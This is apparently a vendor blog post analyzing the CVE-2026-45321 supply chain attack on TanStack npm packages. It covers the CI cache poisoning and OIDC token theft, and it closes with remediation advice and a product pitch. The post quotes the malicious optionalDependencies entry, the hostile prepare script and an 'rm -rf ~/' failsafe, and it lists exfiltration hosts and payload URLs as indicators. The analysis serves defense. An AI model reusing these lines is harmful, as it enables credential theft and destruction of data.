Back to blog

CVE-2026-45321: how attackers hijacked a trusted GitHub Actions publisher to weaponize the npm supply chain

· · 23 min read
CVE-2026-45321: how attackers hijacked a trusted GitHub Actions publisher to weaponize the npm supply chain

On May 11, 2026, in a window of about six minutes between 19:20 and 19:26 UTC, 84 malicious versions across 42 @tanstack/* packages landed on the npm registry. Two malicious versions per package, published a few minutes apart, signed by the legitimate GitHub Actions OIDC trusted publisher of TanStack/router. Anyone who ran npm install, pnpm install or yarn install against one of those versions on that day, on a laptop or on a CI runner, ended up executing a roughly 2.3 MB obfuscated payload that swept credentials from AWS IMDS, GCP metadata, Kubernetes service accounts, HashiCorp Vault, .npmrc, GitHub tokens and SSH keys, then shipped the loot out over the Session messenger network.

The incident was tracked as CVE-2026-45321 with a CVSS score of 9.6 (Critical). It belongs to a campaign that researchers have started calling Mini Shai Hulud, attributed by Wiz to a financially motivated actor named Team PCP. The same campaign has already hit @mistralai/*, UiPath, OpenSearch, squawk and others in the days that followed.

This breakdown follows the structure we use for every CVE on this blog. Part I is for decision makers who need to know what to do tomorrow morning. Part II is for engineers who want to understand exactly which trust boundaries broke and how the attacker walked across them.


Part I. Executive breakdown

What happened

Someone forked TanStack/router on GitHub, pushed a pull request, and used a misconfigured pull_request_target workflow to get code execution inside the base repository's CI environment. From there, they poisoned the shared GitHub Actions cache so that the next legitimate release workflow would load attacker controlled tooling without anyone noticing. When the next release ran, the poisoned cache pulled in code that scraped the OIDC token straight out of the runner process memory. With that token in hand, the attacker authenticated to npm as the real TanStack publisher and pushed two malicious versions of 42 different packages, all under the genuine, cryptographically signed trusted publisher identity.

The publish workflow on TanStack's side was never modified. The npm account was never logged into by the attacker. Every signature was valid. From an audit log perspective, everything looked clean.

The malicious versions carried a fake optionalDependencies entry pointing to an orphan commit living in a fork of the repository. npm dutifully fetched the commit, ran its prepare script, executed an embedded router_init.js payload from the package root (a file that was deliberately not declared in package.json's files array), and the prepare script exited with code 1 so that the optional install was silently discarded, leaving no node_modules trace.

The payload then did three things. First, it raided every credential store it could reach on the host. Second, it exfiltrated everything over a mix of Session messenger file uploads, a typosquat domain (git-tanstack[.]com) and GitHub repositories created on the victim's own account named "A Mini Shai-Hulud has Appeared". Third, it tried to propagate by enumerating other npm packages maintained by the victim and republishing them with the same injection.

A persistent daemon (launchctl on macOS, systemd on Linux) polled GitHub every 60 seconds to check whether the stolen token was still valid. If a defender revoked it, the daemon triggered a rm -rf ~/ against the user's home directory.

Who is affected

Scope Status
42 @tanstack/* npm packages, 2 versions each Vulnerable. Deprecated with SECURITY: notice; clean follow up releases published.
Anyone who ran npm install / pnpm install / yarn install resolving an affected version on 2026-05-11 Compromised. All accessible credentials must be considered exposed.
TanStack's GitHub release pipeline Patched. The pull_request_target misconfiguration that started the chain has been removed.
Other npm namespaces hit by the same campaign @mistralai/*, @uipath/*, @squawk/*, @draftlab/*, opensearch and an expanding list of unscoped packages such as safe-action, ts-dna, cross-stitch, cmux-agent-mcp.

For numbers, @tanstack/react-router alone reports more than 12 million weekly downloads. The entire TanStack ecosystem sits around 56 million weekly downloads. Many of the affected packages are transitive dependencies of popular frontend tooling, so a developer or a CI job can run the malicious code without ever having installed a TanStack package directly.

Socket flagged the malicious artifacts within six minutes of publication, which limited the active install window to a few hours before takedowns started taking effect. Even so, every CI run that pulled fresh dependencies during that day is in scope.

Why this matters beyond TanStack

There are two threads worth pulling on here, and both go far beyond JavaScript or npm.

The first is that OIDC trusted publishing is not a silver bullet. It is meaningfully better than long lived API tokens stored in secrets, because it removes the static credential. But it does not protect against an attacker who gets execution on the runner that holds the token in memory at the moment it is being exchanged. Armin Ronacher put it bluntly on the day of the attack: "Published via OIDC trusted publishing btw. I hope this ends this absurd idea that OIDC is the silver bullet to supply chain issues." That is the point, sharper than most security vendors would phrase it: the trust boundary is not the token, it is the runner.

The second is that pull_request_target is one of the most consistently misunderstood features in GitHub Actions. It runs in the context of the base repository, with the base repository's secrets, but it can be triggered from a fork that the maintainer does not control. Any workflow built on pull_request_target that checks out, builds, tests or even reads PR head code is a candidate for the same exploitation pattern that started CVE-2026-45321. GitHub Security Lab has been warning about this since 2020. It is still everywhere.

A look at TanStack's incident, taken charitably, is not a story about a careless maintainer. It is a story about a class of defaults that punish anyone who does not have a security engineer on call.

Recommended actions

  1. Audit your install history for 2026-05-11. Grep your CI logs, your developer machine npm-debug.log files, and your lockfile history for any resolution of an @tanstack/* package between 19:20 and 19:30 UTC on May 11, 2026. The same window applies to @mistralai/* for the second wave, with adjusted timestamps. Use the indicator table in Part II to scan for the malicious optionalDependencies entry.
  2. Rotate every credential the affected hosts had access to. Cloud keys (AWS, GCP, Azure), Kubernetes service account tokens, Vault tokens, npm publish tokens, GitHub PATs, SSH keys. Assume they are all already in the attacker's hands. Revoke and reissue, in that order. Watch out for the rm -rf ~/ failsafe on developer machines: snapshot the home directory before revoking the GitHub token.
  3. Pin and lock. Until clean upstream chains are confirmed, pin every @tanstack/* dependency to a version published before 2026-05-11 19:00 UTC, delete node_modules and your lockfile, then reinstall. The TanStack team has been republishing clean follow ups; verify the version you pull post-incident matches the patched column in the advisory.
  4. Set ignore-scripts=true on your CI installs as a baseline. Lifecycle scripts during install are the single biggest source of npm supply chain damage. If your build legitimately needs them, scope them to a separate, throwaway stage and rotate the secrets it sees on every run.
  5. Audit your own GitHub Actions workflows for pull_request_target. Treat any workflow that uses this trigger as untrusted by default. If it checks out PR head code, runs install commands on it, or otherwise executes anything from the fork, fix it now. The pattern to look for is pull_request_target followed by actions/checkout with ref: ${{ github.event.pull_request.head.sha }}.
  6. Review your GitHub Actions cache scopes. Caches are shared across the fork↔base trust boundary by default for a reason that made sense in 2020 and is actively dangerous in 2026. Restrict cache reads to known branches; do not load caches written by fork PRs into release workflows.

Part II. Technical breakdown

The trust chain that broke

Before walking through the exploitation, it helps to lay out the moving parts. The TanStack release pipeline at the time of the incident relied on three GitHub Actions building blocks that talk to each other through implicit trust:

  1. A pull request validation workflow triggered on pull_request_target, which runs in the base repository context with access to repository secrets and the runner identity.
  2. A shared Actions cache, used to speed up dependency installation across runs. Caches written on one branch are readable by other branches under the default scoping rules.
  3. A release workflow triggered on tag push or manual dispatch, which talks to npm via the OIDC trusted publisher binding configured on the npm side.

The release workflow was the only one that ever needed npm credentials. The PR workflow ran on every incoming PR and never had any business holding a publish token. The cache was a performance optimization that nobody thought of as a privileged data path.

Each of these assumptions was reasonable in isolation. Combined, they let an attacker who had no access to the repository sign packages on its behalf.

Flaw 1: a pull_request_target Pwn Request

pull_request_target is a GitHub Actions trigger that fires on pull requests but evaluates in the context of the base repository. The intent is to let maintainers run workflows that need secrets (for example, labeling PRs, posting comments, integrating with external services) without exposing those secrets to fork code.

The trap is that pull_request_target evaluates the workflow file from the base branch, but if the workflow then checks out the PR head explicitly and executes anything from it, the protection is gone. Code from the fork is now running with the base repository's secrets and identity.

TanStack's workflow did exactly that. A pull_request_target job ran build and validation steps against the PR head, including dependency installation. That gave the attacker, who had simply opened a PR from a fork they controlled, arbitrary code execution inside a runner that had repository write scope and access to actions/cache.

The fork itself had been prepared with care. The attacker created it on May 10 at 17:16 UTC from the voicproducoes GitHub account, then renamed it (the renamed copy is now at github.com/zblgg/configuration) so it would not appear in the default fork list of TanStack/router. Forks are visible in GitHub's fork network regardless of rename, but the rename made human discovery of the fork harder during the incident response.

GitHub Security Lab has been calling this pattern a Pwn Request since 2020. It still ships as default behavior because removing it would break a long tail of integrations.

Flaw 2: cache poisoning across the fork↔base trust boundary

Once the attacker had code execution inside the pull_request_target runner, the next step was patience.

GitHub Actions caches are addressed by key, and the default cache scope allows reads across branches. A cache written by a PR run can be read by a release run if the keys line up. The attacker computed the cache key the release workflow would use for its pnpm-store cache on Linux runners, then wrote a poisoned tarball under that key. The exact poisoned key reported in TanStack's incident response is:

Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11

The cache contained, among legitimate looking entries, a tampered version of one of the build tools that the release workflow would execute. The tampering was small, surgical, and limited to one purpose: when invoked by the release pipeline, the tool would dump the contents of the runner's process memory belonging to the OIDC exchange step, locate the freshly minted ID token, and forward it to an attacker controlled endpoint along with enough context to authenticate to npm.

Adnan Khan published the original research on this attack class in May 2024 under the title "The Monsters in Your Build Cache". It is not a new technique. It is, however, one that very few maintainers actively defend against, because cache scoping settings are obscure and the default is "as broad as makes the CI fast".

Flaw 3: pulling the OIDC token out of runner memory

Trusted publisher OIDC works like this. The release runner asks GitHub for an ID token tied to the workflow identity. GitHub mints a short lived JWT. The runner presents the JWT to npm. npm verifies the JWT against the trusted publisher configuration and accepts the publish.

That whole exchange happens inside the runner process. The JWT exists in memory between the moment GitHub mints it and the moment npm accepts it. Anything else with code execution on that runner during that window can grab it.

The poisoned cache delivered exactly that "anything else". The tj-actions/changed-files compromise from March 2025 used the same memory extraction technique against the same runner architecture. CVE-2026-45321's payload reuses it almost verbatim. From the GitHub advisory: "the malicious payload reuses this incident's runner memory extraction technique verbatim".

Once the attacker had a valid OIDC token, they did not need any TanStack maintainer credentials. They authenticated to npm directly as the trusted publisher for the @tanstack/* namespace, and ran their npm publish for every package in scope.

The malicious manifest

Every poisoned tarball ships an optionalDependencies entry pointing into a git URL:

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

There is no such npm package as @tanstack/setup. The github: specifier tells npm to clone the repo at the given commit. The commit hash 79ac49ee... resolves to an orphan commit that the attacker pushed into a fork of tanstack/router. Crucially, GitHub serves commits across the entire fork network for git URL dependencies, so the attacker did not need write access to the official TanStack/router repository. Forking and pushing to their own fork was enough.

When npm processes this optional dependency, the sequence is:

  1. Fetch the orphan commit from the GitHub fork network.
  2. Install the commit's declared dependencies. One of them is a legitimate bun binary.
  3. Run the commit's prepare lifecycle script: bun run tanstack_runner.js && exit 1. The tanstack_runner.js helper executes router_init.js from the host package's tarball root. The trailing exit 1 causes the optional install to fail.
  4. Because the optional dependency "failed", npm silently discards it. No entry appears in node_modules, no warning surfaces, no lockfile entry persists.

The payload file router_init.js is roughly 2.3 MB of obfuscated JavaScript, deliberately omitted from the files array in package.json so that it does not appear in the package's documented contents on the npm web UI. Anyone checking the npm page for the package sees a normal looking publish. Only by pulling the tarball directly and listing its contents does the orphan file become visible.

What the payload does

On execution, the payload spreads in four directions at once.

Credential harvesting. It pulls from every credential store it can recognize on the host:

Exfiltration. Stolen data is encrypted with AES-256-GCM and sent through three redundant channels:

Self propagation. Using the stolen npm tokens, the malware queries registry.npmjs.org/-/v1/search?text=maintainer:<user> to find every package the victim maintains. It then republishes each of those packages with the same optionalDependencies injection. This is the worm behavior that gave the campaign its Shai Hulud name, after the sandworms that propagate underground in Dune. Mistral, UiPath, OpenSearch, squawk, DraftLab and the long tail of unscoped packages that have surfaced since May 11 are all downstream of this propagation step.

Destructive failsafe. On developer machines, the malware installs a persistent daemon (LaunchAgent plist on macOS, systemd unit on Linux) that polls GitHub every 60 seconds with the stolen token. If the token returns 401, the daemon attempts rm -rf ~/. The intent is to punish responders who follow the obvious first step in incident response, which is to revoke the stolen credential. It is unclear how reliable the destructive routine is in practice; what is clear is that the attacker invested time in writing it, which says something about the operational posture of Team PCP.

Indicators of compromise

Indicator Value
Malicious git ref github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c
Fictitious package name @tanstack/setup
Payload filename router_init.js (~2.3 MB, package root, undeclared in files)
Helper filename in orphan commit tanstack_runner.js
Exfiltration network filev2.getsession.org, seed1.getsession.org, seed2.getsession.org, seed3.getsession.org
Typosquat exfil domain git-tanstack[.]com
Second stage payload URLs https://litter.catbox.moe/h8nc9u.js, https://litter.catbox.moe/7rrc6l.mjs
Poisoned cache key Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11
Publish window (UTC) 2026-05-11 19:20 to 19:26
Publish identity GitHub Actions OIDC trusted publisher oidc:db7d6f54-05d5-412b-8a10-e7a8398b303e
Workflow runs https://github.com/TanStack/router/actions/runs/25613093674 (attempt 4), https://github.com/TanStack/router/actions/runs/25691781302
Attacker GitHub accounts zblgg (id 127806521), voicproducoes (id 269549300)
Attacker fork (renamed) https://github.com/zblgg/configuration
GitHub dead drop repo description "A Mini Shai-Hulud has Appeared"
Persistence (macOS) LaunchAgent plist under ~/Library/LaunchAgents/
Persistence (Linux) user level systemd unit

A fast offline check on any pinned @tanstack/* version, without running install scripts:

npm pack @tanstack/<name>@<version>
tar -xzf *.tgz
grep -A3 optionalDependencies package/package.json
ls -la package/router_init.js

If the manifest carries the @tanstack/setup entry pointing at the 79ac49ee commit, or if router_init.js exists at the tarball root, the version is malicious.

Timeline

Date and time (UTC) Event
2026-05-10 17:16 Attacker forks TanStack/router from the voicproducoes account, then renames the fork.
2026-05-10, hours later Attacker authors the malicious orphan commit (79ac49ee...) and opens a PR that triggers pull_request_target.
2026-05-10 → 11 The malicious PR build runs and writes a poisoned cache under the pnpm store key.
2026-05-11 19:20 First wave of malicious publishes begins. The next release workflow runs, loads the poisoned cache, extracts the OIDC token, publishes 42 packages.
2026-05-11 19:26 Second wave of publishes completes. Two malicious versions per package, by design.
2026-05-11 19:32 Socket flags the artifacts (six minutes after first publish).
2026-05-11, evening TanStack maintainers begin unpublishing and deprecating affected versions; npm security team engaged for server side tarball removal.
2026-05-12 01:16 CVE-2026-45321 assigned. GHSA-g7cv-rxg3-hmpx published.
2026-05-12, throughout Same campaign hits @mistralai/*, then @uipath/*, then opensearch, then unscoped packages.
2026-05-12 → 13 Microsoft Threat Intelligence reports mistralai PyPI compromise (2.4.6) with a related but distinct second stage payload. Attribution to Mini Shai Hulud is tentative.

A note on attribution

Wiz tracks the actor as Team PCP, characterizing them as financially motivated and specializing in cloud native infrastructure compromise, with a focus on exposed Docker APIs, Kubernetes clusters and CI/CD pipelines. The group has been tracked since late 2025. Prior known operations include the compromise of Aqua Security's Trivy scanner npm package in March 2026 and the Bitwarden CLI npm package in April 2026. The Mini Shai Hulud branding is a reference to the September 2025 "Shai Hulud" worm that hit Trust Wallet and dozens of npm packages with a similar self propagating credential stealer.

The reuse of the runner memory extraction technique from the March 2025 tj-actions/changed-files compromise is the strongest technical thread linking these incidents. It is unclear whether Team PCP is the same actor as the tj-actions attacker or merely a careful student of their work.


What we should learn from CVE-2026-45321

Five patterns are worth investigating in any organization that runs an open source project or operates a CI/CD pipeline.

  1. pull_request_target is a privilege boundary, not just a trigger. Treat any workflow using it as if it were running with admin credentials. Never check out and execute PR head code from such a workflow. If you must, isolate that work in a separate workflow that has zero secrets and a tightly scoped runner.
  2. CI cache scopes are part of your trust model. Default GitHub Actions cache behavior allows reads across the fork↔base trust boundary in ways most teams do not realize. Audit which caches your release workflows load, and constrain reads to a branch you control. Treat the cache as untrusted input.
  3. OIDC trusted publishing protects the credential, not the runner. If an attacker has code execution on the runner during the publish window, the OIDC ID token is no harder to steal than an API key. Defense in depth means hardening the runner (provenance, minimal images, ephemeral hosts, supply chain insights into the build tools themselves) and not just rotating the credential model.
  4. npm lifecycle scripts remain the most reliable foothold for supply chain attacks. Every install on every developer machine and CI runner that does not set ignore-scripts=true is a potential payload execution point. The cost of changing this default across an organization is small. The cost of not changing it has now been demonstrated six times in twelve months.
  5. Fork visibility is part of your monitoring surface. The attacker renamed their fork specifically to slow discovery. Forks remain visible in the GitHub fork network API regardless of rename, but very few teams monitor that surface. If your project is popular enough to be a target, build a watchdog that alerts on new commits and PRs from forks you have not interacted with before.

How Pragma Core addresses this class of problem

Pragma Core was built for exactly the class of issue that powered CVE-2026-45321: vulnerabilities that classical SAST will not find, because they live in the connections between systems rather than in a single function. The platform's coverage maps directly onto the failure modes this campaign exploited.

Continuous SCA with malicious package detection

The dependency tracker continuously monitors every connected repository against vulnerability and malware feeds. For an incident like this one, where the CVE landed within hours of the malicious publish, the practical effect is that any repository in your workspace pinning an affected @tanstack/* version surfaces the issue the moment it lands in the catalog, with no manual monitoring required. The same applies to the downstream waves (@mistralai/*, @uipath/*, and the long tail of unscoped packages).

SBOM at the version pin level

Every connected repository gets a CycloneDX SBOM that records the exact version pins, including transitives. When an incident like CVE-2026-45321 hits, the first question is always "which of our projects pulled an affected version, and when". An accurate SBOM is the difference between answering that in five minutes and answering it after a week of grep.

CI/CD posture analysis

Pragma Core's white box pentest module and AI security research module read your actual workflows alongside your source code. That makes it possible to trace, in a graph, where pull_request_target is used, what it executes, what secrets it has access to, and whether the cache it loads is shared with a less trusted scope. The same logic chain that connected TanStack's PR workflow to its release workflow through a shared cache is the kind of finding our agents are designed to surface before an attacker does.

Autonomous attack chain investigation

The autonomous agents in Pragma Core reason across multi step attack chains. For supply chain pipelines, that means tracing token flows from the moment they are minted to the moment they are exchanged. Anywhere in that chain that an untrusted input can reach the runner's process, memory or filesystem is flagged with the full attack path attached, not as a generic "OIDC misuse" finding.

Human guided AppSec investigations

The expert led research module is designed for exactly the kind of question that maintainers do not have time to answer on their own: is my CI pipeline safe against a Pwn Request? Is my cache scope correctly constrained? Could an orphan commit on a fork affect my release? These are the questions that drove CVE-2026-45321's discovery, and they are the ones that, applied systematically, prevent the next one.

Native repository integration

Connecting GitHub, GitLab or Azure DevOps to Pragma Core takes minutes. Once a workspace is connected, continuous scanning, SBOM generation, dependency tracking and CI workflow analysis run in the background, with findings contextualized to the exact repository, branch and commit where they live.


Closing thoughts

CVE-2026-45321 is not, fundamentally, a story about TanStack. It is a story about how three trust boundaries that were never explicitly drawn (between a PR runner and a release runner, between a fork and a base repo through a shared cache, between an OIDC exchange and the runner that holds the token in memory) added up to a critical supply chain breach with downstream blast radius into thousands of organizations.

The maintainers reacted fast. Socket caught it in six minutes. The npm security team moved on tarball removal the same day. CVE assignment happened in under twelve hours. None of that prevented the credentials of every install during the active window from being stolen. The damage from a supply chain incident is fully realized between publish and detect, and that interval is rarely longer than the time it takes to run a pnpm install.

The defenders' answer to that asymmetry is not faster takedown. It is harder runners, narrower cache scopes, default ignore-scripts, separate workflows for trusted and untrusted code, and continuous visibility into the supply chain dependencies that ship into every build.

For teams that want to move from "we scan and report" to "we systematically investigate what is fragile", Pragma Core was built to make that step. You can reach us at pragma-core.com for a demo or to talk about how the platform could fit into your security pipeline.


Sources

Related posts
CVE-2026-74820: how an unsanitized ORDER BY clause turned ServiceNow's AI Platform into an unauthenticated database backdoor
Sep 18, 2026
CVE-2026-85978: how one path normalization mismatch turned Akana's admin console into unauthenticated remote code execution
Sep 9, 2026
CVE-2026-78174: how an unredacted session token in a diagnostic log turned a low-privileged WatchGuard Dimension admin into super admin
Sep 1, 2026

Start securing your codebase today

Connect your repositories and let AI agents handle continuous scanning, research, and triage.

Have questions? Get in touch →